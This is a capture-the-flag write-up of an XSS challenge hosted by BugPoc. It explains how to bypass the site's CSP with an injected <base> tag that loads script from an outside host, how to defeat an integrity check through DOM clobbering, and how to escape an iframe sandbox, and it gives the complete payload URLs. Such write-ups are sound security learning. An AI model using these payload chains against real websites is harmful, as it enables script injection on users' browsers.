Brief:

On 04/11/2020, BugPoc released a XSS challenge on their twitter handle. This writeup explains about the successful exploitation of XSS, bypassing various security implementation.

Challenge URL:  https://wacky.buggywebsite.com/

On visiting the URL you will find the following content:

Inputting any text, results in the styled form of that text.

Looking at the source of the page we can find an iframe which is displaying the styled text.


<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>

Visiting https://wacky.buggywebsite.com/frame.html?param=Hello, World! we get the following content. This doesn't look similar to the one in the main page :/

Looking at the source of that page, we can find the following code :

The if block in the Javascript script code checks for the value of window.name . If the name attribute is set as iframe  it loads the normal behavior  of the page, else it throws an error .

window.name property is an interesting one because unlike others name attribute is set for the tab and it persists over any number of redirection. If my site sets window.name as iframe and then redirects to the challenge site, the value of window.name will still be iframe. (Recently Liveoverflow explained about this https://www.youtube.com/watch?v=L1RvK1443Yw)

So first check is bypassed :)

After playing around a little with the URL it's pretty clear that you can control param parameter of the URL: https://wacky.buggywebsite.com/frame.html?param=Hello, World! and it is reflected in the HTML DOM.

Using a classical XSS payload like <img src=x onerror=alert()/> as param doesn't work even though these characters aren't escaped. This is because the payload is rendered inside the <title> tag and not in the HTML <body>

This can be easily bypassed by closing the <title> tag using </title>

Using the payload </title><img src=x onerror=alert()/> as param value renders our HTML tag but it doesn't execute js.

Looking at developer console we can see the following error.

The javascript execution is blocked by the following CSP header.

content-security-policy: script-src 'unsafe-eval' 'nonce-kbydemaiswgt' 'strict-dynamic'; frame-src 'self'; object-src 'none'

We can use this amazing website to check for CSP misconfiguration.

https://csp-evaluator.withgoogle.com/

We can see a base-uri configuration is not set in the CSP header, which allows us to use <base> tags to overwrite the location of the relative path in the HTML DOM.

For example if a https://site.com have the following code:

<base href="https://attacker.com/">
<script src='main.js'></script>

The site will fetch the main.js file from https://attacker.com rather than https://site.com

Getting back to the challenge, the page have the following js code which loads a script tag from relative path.

So all we need to do is, either create a JS file named frame-analytics.js with alert(document.domain) as content and place it into the directory files/analytics/js/

or

Using BugPoc's https://bugpoc.com/testers/other/mock to provide same response.

Now you might get CORS error which can be bypassed by adding Access-Control-Allow-Origin: * header .

You could also use : https://bugpoc.com/testers/other/redir to shorten the payload link

So far our payload looks like: </title><base href="https://b8d85m3hsi6s.redir.bugpoc.ninja/">

Visiting https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://b8d85m3hsi6s.redir.bugpoc.ninja/"> we get the following error in the developer console.

Now we need to bypass the integrity check to execute our payload. Let's look into the code which performs this.

The first line of the code checks for window.fileIntegrity if it exists it sets that value to the window.fileIntegrity else it sets hard coded values shown above.

If we can somehow define an object called fileIntegrity we can bypass that check. This is where DOM Clobbering comes into play, if we insert an anchor tag into HTML with id as any value, the browser will create an object with that ID.

Just like in above screenshot let's create a payload that will define such object.

<a id=fileIntegrity><a id=fileIntegrity name=value href='' >

Now adding that to the payload, the URL looks like: https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://b8d85m3hsi6s.redir.bugpoc.ninja/"><a id=fileIntegrity><a id=fileIntegrity name=value href='' >

Visiting this page again throws error

It looks like we have successfully bypassed the CSP, but our js is executed in a sandboxed iframe which doesn't allow to execute alert() function.

The bypass is pretty straight forward, the iframe and the top domain is same origin. The iframe can use this privilege to execute any function on top domain using window.top.alert(document.domain)

All we need to do now is change the contents of js file. (https://nkcihu9tsta0.redir.bugpoc.ninja)

https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://nkcihu9tsta0.redir.bugpoc.ninja/"><a id=fileIntegrity><a id=fileIntegrity name=value href='' >

So the final exploit looks like this:

POC URL: https://bugpoc.com/poc#bp-iXwjx9DZ

Password: RaRETuRkEy43

Thanks to BugPoc for hosting such an awesome challenge :)